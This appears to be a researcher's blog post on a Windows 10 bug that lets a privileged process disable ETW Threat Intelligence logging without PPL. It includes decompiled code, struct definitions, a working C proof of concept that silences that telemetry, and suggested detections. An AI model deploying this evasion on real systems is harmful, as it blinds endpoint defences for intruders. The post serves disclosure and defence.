ETW-ByeBye: Disabling ETW-TI Without PPL

legacyy.xyz/defenseevasion/windows/2024/04/24/disabling-etw-ti-without-ppl.html

Legacyy April 24, 2024

Apr 24, 2024

Back in October of 2023, RiskInsight published a blog post that caught my attention. The post explained A universal EDR bypass built in Windows 10, detailing a “bug” that allows a user to disable logging of certain ETW-TI events for a given process from user mode **without** the expected PPL requirement.

As RiskInsight already explained this in detail, I will not be explaining background on how ETW-TI works under the hood. I will simply be building upon their blog post, with the aim of showing how I went from their post to a functional POC.

Contents

Exploitation Requirements

In order to exploit this bug, you require either `SeDebug` or `SeTcb` privileges to be enabled, and be on one of the following vulnerable Windows versions:

	Win10 1507 -> 1703	**Win10 1709 -> 1803**	**Win10 1809 -> 22H2**	**Win11 21H2 -> 22H2**
Read virtual memory operation	N/A	Vulnerable	Vulnerable	Patched
Write virtual memory operation	N/A	Vulnerable	Vulnerable	Patched
Process suspension / resuming operations	N/A	N/A	Vulnerable	Patched
Thread suspension / resuming operations	N/A	N/A	Vulnerable	Patched

Thanks to RiskInsight for this table: Source

The Bug

As ETW-TI can raise a large number of events, it is enabled on a per-process basis. To do so, you make a call to `NtSetInformationProcess`, specifying either `ProcessEnableReadWriteVmLogging` or `ProcessEnableLogging` as the

`ProcessInformationClass`.

The intention is that alongside the permissions mentioned prior, in order to disable ETW-TI event logging, the process should be a protected process `PROTECTED_ANTIMALWARE_LIGHT`, and thus signed by Microsoft. However, this check is missing on the aforementioned windows versions, and so only the token permission checks are in place. Again, RiskInsight went into a lot of detail about this, and so if you want to find out more, feel free to give their post a read.

Taking a look at a cleaned up binary ninja decompilation, we see the token permissions checks (and can confirm that there are no PPL checks in place):

```
NTSTATUS NtSetInformationProcess(HANDLE arg1, PROCESS_INFORMATION_CLASS process_info_class, int64_t* arg3, int32_t arg4)
1406a76ba        case ProcessEnableReadWriteVmLogging, ProcessEnableLogging
1406a76ba            if (process_info_class == ProcessEnableReadWriteVmLogging && NumberOfBytes.d u< 1)
1406a76ba                goto label_1406a7ce6
1406a76c4            if (process_info_class != ProcessEnableLogging)
1406a76d3                label_1406a76d3:
1406a76d3                LUID PrivilegeValue_9
1406a76d3                PrivilegeValue_9.LowPart = SeDebugPrivilege.d
1406a76d3                PrivilegeValue_9.HighPart = *(&SeDebugPrivilege + 4)
1406a76e1                if (SeSinglePrivilegeCheck(PrivilegeValue: PrivilegeValue_9, PreviousMode: r15) == 0)
1406a76e7                    LUID PrivilegeValue_10
1406a76e7                    PrivilegeValue_10.LowPart = SeTcbPrivilege.d
1406a76e7                    PrivilegeValue_10.HighPart = *(&SeTcbPrivilege + 4)
1406a76f5                    if (SeSinglePrivilegeCheck(PrivilegeValue: PrivilegeValue_10, PreviousMode: r15) == 0)
1406a76f5                        goto label_missing_permissions
1406a76f5                    goto label_has_permissions
1406a76fb                label_has_permissions:
```

Building A POC

The first step to building a functional proof-of-concept was figuring out the related structures/enum definitions. Thanks to various public resources, namely ntdoc.m417z.com and jsecurity101.medium.com/uncovering-windows-events learning about the required structures and enums was easy.

Regarding the `PROCESS_INFO_CLASS` enum, I referenced ntdoc.m417z.com/processinfoclass, and to figure out what to pass as our `ProcessInformation`, I referenced ntdoc.m417z.com/process_readwritevm_logging_information and ntdoc.m417z.com/process_logging_information. This resulted in having the following definitions:

PROCESS_INFO_CLASS

```
typedef enum _PROCESSINFOCLASS
{
    // [SNIPPED FOR BREVITY]
    ProcessEnableReadWriteVmLogging = 0x57, // qs:
PROCESS_READWRITEVM_LOGGING_INFORMATION
    // [SNIPPED FOR BREVITY]
    ProcessEnableLogging = 0x60, // qs: PROCESS_LOGGING_INFORMATION
} PROCESSINFOCLASS;
```

PROCESS_READWRITEVM_LOGGING_INFORMATION

```
typedef struct _PROCESS_READWRITEVM_LOGGING_INFORMATION
{
    UCHAR Flags;
    UCHAR EnableReadVmLogging;
    UCHAR EnableWriteVmLogging;
    UCHAR Unused = 6;
} PROCESS_READWRITEVM_LOGGING_INFORMATION, *PPROCESS_READWRITEVM_LOGGING_INFORMATION;
```

PROCESS_LOGGING_INFORMATION

```
typedef struct _PROCESS_LOGGING_INFORMATION
{
    ULONG Flags;
    ULONG EnableReadVmLogging;
    ULONG EnableWriteVmLogging;
    ULONG EnableProcessSuspendResumeLogging;
    ULONG EnableThreadSuspendResumeLogging;
    //ULONG EnableLocalExecProtectVmLogging;  // New in Win11
    //ULONG EnableRemoteExecProtectVmLogging; // New in Win11
    ULONG Reserved = 26;
} PROCESS_LOGGING_INFORMATION, * PPROCESS_LOGGING_INFORMATION;
```

With all this ready, I just had to figure out what values to set, I'll save you the trouble and just let you know that `Flags` should be set to `0xf` in all cases.

From there, just make a simple call to `NtSetInformationProcess` as follows, there's nothing more to it :)

```
int main(int argc, char** argv, char** envp)
{
    HMODULE Ntdll = GetModuleHandleA("ntdll.dll");
    typeNtSetInformationProcess NtSetInformationProcess =
(typeNtSetInformationProcess)GetProcAddress(Ntdll, "NtSetInformationProcess");

    // Prepare for NtSetInformationProcess
    PROCESS_LOGGING_INFORMATION ProcessLoggingInformation = { 0 };
    ProcessLoggingInformation.Flags = (ULONG)0xf;
    ProcessLoggingInformation.EnableReadVmLogging = 1;
    ProcessLoggingInformation.EnableWriteVmLogging = 1;
    ProcessLoggingInformation.EnableProcessSuspendResumeLogging = 1;
    ProcessLoggingInformation.EnableThreadSuspendResumeLogging = 1;
    ProcessLoggingInformation.Reserved = 26;

    NTSTATUS Status = NtSetInformationProcess(
        (HANDLE)-1,
        (ULONG)ProcessEnableLogging,
        &ProcessLoggingInformation,
        sizeof(_PROCESS_LOGGING_INFORMATION));

    if (NT_SUCCESS(Status))
    {
        printf("[+] Successfully disabled the following ETW-Ti events\n"
               " - ReadVmLogging\n"
               " - WriteVmLogging\n"
               " - ProcessSuspendResumeLogging\n"
               " - ThreadSuspendResumeLogging\n");
    }
    else
    {
        printf("[!] Error, status 0x%08X\n", Status);
    }

        return 0;
}
```

Potential Detections / Preventions

Important to note that regarding how practical these are, they are purely speculation on my part.

1. Hooking NtSetInformationProcess in user mode
   This can very likely be bypassed albeit still a line of defense.
2. Walking the `KPROCESS` list and checking if ETW-TI has been disabled for a non-expected process
   Not sure how viable this is due to potentially having to set a spinlock on the list, but would be a very powerful integrity check if doable.

3. Lack of ETW-TI telemetry

    Checking if a process is raising no events of a common event type e.g. `ReadVmLogging`. (Credit to @bakki)

4. Update to Windows 11

    As this bug no longer exists on Windows 11, if migration is possible I will always recommend this over alternatives.

References